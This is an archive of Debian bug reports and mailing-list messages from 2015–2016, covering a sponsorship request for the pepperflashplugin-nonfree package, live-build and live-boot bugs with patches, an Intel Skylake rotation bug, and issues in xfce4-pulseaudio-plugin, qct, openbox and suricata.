> * Package name : pepperflashplugin-nonfree
> Version : 1.8.3+nmu1
> Upstream Author : Bart Martens <ba...@debian.org>
> * URL : http://wiki.debian.org/PepperFlashPlayer
> * License : GPL3
> Section : Browser plugin
>
> It builds those binary packages:
>
> pepperflashplugin-nonfree
>
> To access further information about this package, please visit the following 
> URL:
>
> https://mentors.debian.net/package/pepperflashplugin-nonfree
>
>
> Alternatively, one can download the package with dget using this command:
>
> dget -x 
> https://mentors.debian.net/debian/pool/contrib/p/pepperflashplugin-nonfree/pepperflashplugin-nonfree_1.8.3+nmu1.dsc
>
>
> Changes since the last upload:
>
> pepperflashplugin-nonfree (1.8.3+nmu1) UNRELEASED; urgency=medium
>
> * Non-maintainer upload.
> * Update Google public key. Closes: #823005.
> * Remove 32 bit support. Closes: #816848.
> * Don't treat `apt-get update` warnings as errors. Closes: #818540.
> * Validate deb file with sha256sum.
>
> -- Kristian Klausen <klausenb...@hotmail.com> Fri, 13 May 2016 14:44:52 +0200
>
>
> Regards,
> Kristian Klausen
  

Bug#824186: RFS: pepperflashplugin-nonfree/1.8.3+nmu1 [RC] [NMU]‏

[Kristian Klausen]

Package: sponsorship-requests
Severity: important
 
Dear mentors,
 
I am looking for a sponsor for my package "pepperflashplugin-nonfree":
 
 * Package name    : pepperflashplugin-nonfree
 Version : 1.8.3+nmu1
 Upstream Author : Bart Martens <ba...@debian.org>
 * URL : http://wiki.debian.org/PepperFlashPlayer
 * License : GPL3
 Section : Browser plugin
 
It builds those binary packages:
 
  pepperflashplugin-nonfree
 
To access further information about this package, please visit the following 
URL:
 
https://mentors.debian.net/package/pepperflashplugin-nonfree
 
 
Alternatively, one can download the package with dget using this command:
 
dget -x 
https://mentors.debian.net/debian/pool/contrib/p/pepperflashplugin-nonfree/pepperflashplugin-nonfree_1.8.3+nmu1.dsc
 
 
Changes since the last upload:
 
pepperflashplugin-nonfree (1.8.3+nmu1) UNRELEASED; urgency=medium
 
  * Non-maintainer upload.
  * Update Google public key. Closes: #823005.
  * Remove 32 bit support. Closes: #816848.
  * Don't treat `apt-get update` warnings as errors. Closes: #818540.
  * Validate deb file with sha256sum.
 
 -- Kristian Klausen <klausenb...@hotmail.com>  Fri, 13 May 2016 14:44:52 +0200
 
 
Regards,
Kristian Klausen
  



  

Bug#823069: live-boot-initramfs-tools: Kernel panic while booting live with Debian stretch busybox/live packages

[Kristian Klausen]

Arjen could you try removing:
PATH="/root/usr/bin:/root/usr/sbin:/root/bin:/root/sbin:/usr/bin:/usr/sbin:/bin:/sbin"
export PATH

from /lib/live/boot/9990-aaa-fixme.sh and see if it works?

- Kristian


> Subject: Bug#823069: live-boot-initramfs-tools: Kernel panic while booting 
> live with Debian stretch busybox/live packages
> From: b...@decadent.org.uk
> To: 823...@bugs.debian.org
> CC: util-li...@packages.debian.org
> Date: Mon, 9 May 2016 17:55:55 +0100
>
> Control: clone -1 -2
> Control: reassign -2 util-linux
> Control: severity -2 important
> Control: affects -2 live-boot-initramfs-tools
> Control: retitle -1 live-boot-initramfs-tools: wrongly adds directories in 
> /root to the PATH
> Control: retitle -2 util-linux: 'mount -o move' does not work with virtual 
> filesystems
>
> On Sat, 30 Apr 2016 16:07:25 +0200 Arjen Balfoort <arjenbalfo...@solydxk.com> 
> wrote:
> [...]
>>  mount: /dev is write-protected, mounting read-only
>>  mount: /dev is not a block device
>>
>>  The error is caused in 
>> /usr/share/initramfs-tools/scripts/init-bottom/udev
>>  Line: mount -n -o move /dev ${rootmnt}/dev
> [...]
>
> This is a side-effect of my change in busybox 1.22.0-19, but I don't
> think that change was wrong.
>
> live-boot-initramfs-tools adds directories under /root to $PATH, which
> was formerly harmelss but now actually does result in some commands
> being loaded from there.  You must stop doing this; it is not
> supportable and I will not support it.
>
> In particular, this mount command now invokes util-linux's mount.  That
> refuses to perform a move if the source filesystem was not mounted from
> a block device.  There is no good reason for this and obviously it
> works with busybox and klibc's implementations of mount.
>
> Ben.
>
> --
> Ben Hutchings
> If you seem to know what you are doing, you'll be given more to do.
  

Bug#823116: Rotation not working on Skylake with TearFree option

[Kristian Klausen]

Subject: Rotation not working on skylake with TearFree option
Package: xserver-xorg-video-intel
Version: 2:2.99.917+git20160325-1
Severity: normal
Tags: upstream

Dear Maintainer,

Rotation isn't working on Skylake with the TearFree option.
I get the following error:
xrandr --output "HDMI2" --rotate "left"
xrandr: Configure crtc 0 failed
crtc 0: disable
screen 0: 1080x1920 285x506 mm  96.25dpi
crtc 0:1920x1080  60.00 +0+0 "HDMI2"
crtc 0: disable
crtc 1: disable
crtc 2: disable
crtc 3: disable
screen 0: revert
crtc 0: revert
crtc 1: revert
crtc 2: revert
crtc 3: revertThe issue seems only to affect left/right rotation, not 
normal/inverted.

I got in contact with a Intel dev on irc, which was able to reproduce it and it 
has now been fixed upstream.
Commit 
https://cgit.freedesktop.org/xorg/driver/xf86-video-intel/commit/?id=c62177ec321e009a1abcdc969dd808fb37136013
 specifically he told me.
I haven't tested yet, that it fix the bug, but I will do as soon I get access 
to the hardware again.


- Kristian

  

Bug#822846: Add option to mount /lib/live/mount/medium read-write

[Kristian Klausen]

Package: live-boot
Version: 1:20151213
Severity: normal
Tags: upstream

Dear Maintainer,

Currently /lib/live/mount/medium is mounted with ro,noatime, which isn't 
preferable for all use-case.
For my use-case it need to be mounted rw, so I can replace kernel, initrd and 
squashfs with my update script which run as a cronjob in the image.

Then we get the next problem, when we mount it rw, we need to fsck it at least 
once in a while.
We can't use the normal initramfs fsck, as it only add fsck. for 
filesystems listed in /etc/fstab, at least I don't think we can do that.

Reading on Arch Linux wiki (https://wiki.archlinux.org/index.php/fsck) it seems 
like fsck can do it.
We just need to write /lib/live/mount/medium to /etc/fstab (with pass 2 <=), I 
think we can do that in the fsck hook with some simple greb.
cat /etc/mtab | awk '{$6=2; print}' >> /etc/fstab

I have created my own branch in live-boot (kristian), and added a 
"live-media-mount-opts" option.
I think it work, but need to test it. If someone could help review it, I would 
appreciate that!


- Kristian

  

Bug#822685: FW: example auto/config exit code is always 0, even on error.

[Kristian Klausen]

Subject: example/auto/config always exit with code 0, even on error.
Package: live-build
Version: 1:20151213
Severity: normal
Tags: upstream

Dear Maintainer,

The included example auto/config currently always exit with exit code 0 
(success).
Even on error, this is because it use a pipe (to pipe it to a log file)
lb build noauto "${@}" 2>&1 | tee build.log

I don't think it can be fixed without changing shell to something like bash.

- Kristian

  

Bug#822684: example auto/config exit code is always 0, even on error.

[Kristian Klausen]

Subject: example/auto/config always exit with code 0, even on error.
Package: live-build
Version: git head
Severity: normal
Tags: upstream

Dear Maintainer,

The included example auto/config currently always exit with exit code 0 
(success).
Even on error, this is because it use a pipe (to pipe it to a log file)
lb build noauto "${@}" 2>&1 | tee build.log

I don't think it can be fixed without changing shell to something like bash.

- Kristian
  

Bug#801712: Mirror patch fix

[Kristian Klausen]

Fixed a typo (FILESYTEM instant of FILESYSTEM), also changed text above 
ext2fs_default_journal_size from "stolen from" to "adapted from".

- Kristian
  

losetup.sh.patch
Description: Binary data

Bug#801712: Updated patch

[Kristian Klausen]

Attached is a updated patch some improvement.
Most important we dropped the "loop" and made the code more meaningful.
Thanks to adrian15 for the help!
  

losetup.sh.patch
Description: Binary data

Bug#811098: xfce4-pulseaudio-plugin: hogs some CPU if certain xfce4 styles are used

[Kristian Slavov]

Package: xfce4-pulseaudio-plugin
Version: 0.2.4-1
Severity: normal

Dear Maintainer,

If pulseaudio volume plugin is added to the xfce panel, and certain xfce4 
styles are in
use, the plugin seems to do some busy looping (constant about 5-6% cpu
utilization in top). At the same time xorg's cpu consumption also rose to 
around that
amount. Once the plugin was removed, the xorg load dropped. Maybe some screen
refreshing issue?

Problematic xfce styles are at least: Xfce, Xfce-4.0, Xfce-4.2, Xfce-4.4, 
Xfce-4.6, Xfce-basic

Changing the xfce style to, for example, xfce-curve avoids this problem.

Cheers,
Kristian

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.3.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages xfce4-pulseaudio-plugin depends on:
ii  libatk1.0-0  2.18.0-1
ii  libc62.21-6
ii  libcairo-gobject21.14.4-1
ii  libcairo21.14.4-1
ii  libdbus-1-3  1.10.6-1
ii  libdbus-glib-1-2 0.102-1
ii  libgdk-pixbuf2.0-0   2.32.3-1
ii  libglib2.0-0 2.46.2-3
ii  libgtk-3-0   3.18.6-1
ii  libkeybinder-3.0-0   0.3.1-1
ii  libnotify4   0.7.6-2
ii  libpango-1.0-0   1.38.1-1
ii  libpangocairo-1.0-0  1.38.1-1
ii  libpulse-mainloop-glib0  7.1-2
ii  libpulse07.1-2
ii  libxfce4panel-2.0-4  4.12.0-3
ii  libxfce4ui-2-0   4.12.1-2
ii  libxfce4util74.12.1-2
ii  libxfconf-0-24.12.0-2+b1

Versions of packages xfce4-pulseaudio-plugin recommends:
ii  pavucontrol  3.0-3+b2

xfce4-pulseaudio-plugin suggests no packages.

-- no debconf information

Bug#801712: Patch

[Kristian Klausen]

Attached is a updated tested patch.

The ext2fs_default_journal_size logic is stolen from lib/ext2fs/mkjournal.c, 
where the input and output is in blocks.
Generally the default block size is 4096 (/etc/mke2fs.conf) so I just 
multiplied the numbers with 4096.


I call ext2fs_default_journal_size twice, to ensure that JOURNAL_SIZE is 
correct, as the "final size" could require a bigger journal size.

df report the "overhead" as:
/dev/loop2p1  571204  547844 11424  98% /mnt


- Kristian Klausen 
  

Bug#801712: Patch

[Kristian Klausen]

Forgot to attach patch.
  

losetup.sh.patch
Description: Binary data

Bug#801712: hdd-size=auto not working with EXT3/EXT4

[Kristian Klausen]

Subject: hdd-size=auto not working with EXT3/EXT4
Package: live-build
Version: 5.0~a8-1
Severity: normal
Tags: upstream, patch

Dear Maintainer,

At the moment I manually set hdd-size to around 50 megabyte more than my live 
image require.
As the Calculate_partition_size does not take into account, that ext3/ext4 has 
a journal.

I have attached a patch, it not "perfect" or tested, but should give you a idea 
about how to fix it.

Some useful links:
http://lists.openwall.net/linux-ext4/2010/01/11/3 (how the journal size is 
calculated)
http://linux.die.net/man/8/mkfs.ext4 (usage type, default block size)
ftp://hgdownload.cse.ucsc.edu/cbsebackups.old/encode-01/etc/mke2fs.conf 
(mke2fs.conf)

Regards Kristian Klausen
  

functions_losetup.sh.patch
Description: Binary data

Bug#796141: qct: won't start if qct.signoff is missing

[kristian kvilekval]

Package: qct
Version: 1.7-3
Severity: normal

Dear Maintainer,

   after upgrading from wheezy I tried running qct in  a repo

$ qct
Auto-detected Mercurial repository
Error code 1 not expected
Traceback (most recent call last):
  File /usr/bin/qct, line 140, in module
if not vcs or vcs.initRepo(sys.argv, **initRepoArgs) != 0:
  File /usr/lib/python2.7/dist-packages/qctlib/vcs/hg.py, line 86, in initRepo
self.signOff = self.hgcmd(['showconfig', 'qct.signoff'])[0]
  File /usr/lib/python2.7/dist-packages/qctlib/vcs/hg.py, line 129, in hgcmd
(out, err) = runProgramStderr([self.hg_exe] + args, expectedexits=okresults)
  File /usr/lib/python2.7/dist-packages/qctlib/utils.py, line 191, in 
runProgramStderr
raise ProgramError(progStr, out)
qctlib.utils.ProgramError: /usr/bin/hg showconfig qct.signoff: 


Seems that hg showconfig qct.signoff:
has  a return code of 1 if the value is not assigned.  


I thought qct would gracefully ignore the setting.



-- System Information:
Debian Release: 8.1
  APT prefers stable
  APT policy: (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.16.0-4-amd64 (SMP w/16 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)

Versions of packages qct depends on:
ii  bzr 2.6.0+bzr6595-6
ii  cvs 2:1.12.13+real-15
ii  mercurial   3.1.2-2+deb8u1
ii  python  2.7.9-1
ii  python-qt4  4.11.2+dfsg-1
ii  python2.6   2.6.8-1.1
ii  python2.7   2.7.9-2
ii  subversion  1.8.10-6+deb8u1

qct recommends no packages.

qct suggests no packages.

-- no debconf information

Bug#789300: cache.sh if same device check don't work with symlink

[Kristian Klausen]

Subject: Support building image without root.
Package: live-build
Version: 5.0~a8-1
Severity: normal
Tags: upstream, patch

Dear Maintainer,

At the momemt I build my live build images inside a privileged docker container 
with Gitlab CI Multirunner.
I have attached a volume (/cache), and before I start lb build I symlink it.
The problem is cache.sh think it the same device, so it try to hard link 
copy, which of course don't work. (
Invalid cross-device link).
The problem seems to be that stat without a last slash, don't follow the 
symlink, but only check there the link is stored.

See for you self.
[kristian@arch-hp-laptop ~]$ mkdir test
[kristian@arch-hp-laptop ~]$ stat --printf '%d\n' test
2051
[kristian@arch-hp-laptop ~]$ ln -s /tmp symlink
[kristian@arch-hp-laptop ~]$ stat --printf '%d\n' /tmp
33
[kristian@arch-hp-laptop ~]$ stat --printf '%d\n' symlink
2051
[kristian@arch-hp-laptop ~]$ stat --printf '%d\n' symlink/
33

Patch attached.

 Regards Kristian Klausen
-- Package-specific info:

-- System Information:
Debian Release: 8.0
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages live-build depends on:
ii  cdebootstrap  0.6.4
ii  debootstrap   1.0.67

Versions of packages live-build recommends:
ii  cpio2.11+dfsg-4.1
ii  live-boot-doc   4.0.2-1
ii  live-config-doc 4.0.4-1
ii  live-manual-html [live-manual]  1:4.0.1-1

live-build suggests no packages.

-- no debconf information   
  

symlink.patch
Description: Binary data

Bug#788764: live-build: Support building image without root.

[Kristian Klausen]

Subject: live-build: Support building image without root.
Package: live-build
Version: 5.0~a8-1
Severity: wishlist
Tags: upstream

Dear Maintainer,

At the momemt there seems to be no way to build a live image without root.

In our environment we start lb build everytime a commit is pushed to our Git 
repo.
But as live build reguire root. 
Everyone with access to the Git repo in practice have root access on the build 
server, and can install malicious software.

Trying running lb build with fakeroot and fakechroot result in:
lb config
. /etc/fakechroot/debootstrap.env
fakeroot fakechroot lb build | tee fake.log

fake.log uploaded here: http://sprunge.us/eWUZ
debootstrap.log uploaded here: http://sprunge.us/jdfe

Regards Kristian Klausen
-- Package-specific info:

-- System Information:
Debian Release: 8.0
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages live-build depends on:
ii  cdebootstrap  0.6.4
ii  debootstrap   1.0.67

Versions of packages live-build recommends:
ii  cpio2.11+dfsg-4.1
ii  live-boot-doc   4.0.2-1
ii  live-config-doc 4.0.4-1
ii  live-manual-html [live-manual]  1:4.0.1-1

live-build suggests no packages.

-- no debconf information 

Bug#782640: openbox: Unable to find a valid menu file /usr/share/lxde/openbox/menu.xml

[kristian]

Package: openbox
Version: 3.5.0-7
Severity: normal

Dear Maintainer,
*** Please consider answering these questions, where appropriate ***

   * What led up to the situation?
Started lxde (openbox) using LightDM. Found the error message in 
.xsession-errors.
   * What exactly did you do (or not do) that was effective (or
 ineffective)?
$ locate menu.xml
   * What was the outcome of this action?
/etc/xdg/openbox/menu.xml
/etc/xdg/openbox/LXDE/menu.xml
/var/lib/openbox/debian-menu.xml

We can see that /usr/share/lxde/openbox/menu.xml does not exist.
   * What outcome did you expect instead?

*** End of the template - remove these lines ***


-- System Information:
Debian Release: 7.8
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages openbox depends on:
ii  dpkg  1.16.16
ii  libc6 2.13-38+deb7u8
ii  libglib2.0-0  2.33.12+really2.32.4-5
ii  libice6   2:1.0.8-2
ii  libobrender27 3.5.0-7
ii  libobt0   3.5.0-7
ii  libsm62:1.2.1-2
ii  libstartup-notification0  0.12-1
ii  libx11-6  2:1.5.0-1+deb7u2
ii  libxau6   1:1.0.7-1
ii  libxext6  2:1.3.1-2+deb7u1
ii  libxinerama1  2:1.1.2-1+deb7u1
ii  libxml2   2.8.0+dfsg1-7+wheezy4
ii  libxrandr22:1.3.2-2+deb7u1
ii  libxrender1   1:0.9.7-1+deb7u2

Versions of packages openbox recommends:
ii  obconf  1:2.0.3+20110805+debian-1
ii  openbox-themes  1.0.2

Versions of packages openbox suggests:
pn  libxml2-dev  none
ii  menu 2.1.46
ii  python   2.7.3-4+deb7u1
ii  ttf-dejavu   2.33-3

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#775074: suricata: Enable nflog support

[Hans-Kristian Bakke]

Package: suricata
Version: 2.0.4-1
Severity: wishlist

The source code in 2.0.4-1 has a fully working and very practical nflog 
implementation (I am using it at least), that was just recently added. The 
configure flag is not set hovever so the package is compiled without that 
support. I am running the source code in jessie just rebuilt with 
--enable-nflog set.

Could nflog please be enabled for the default build?


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org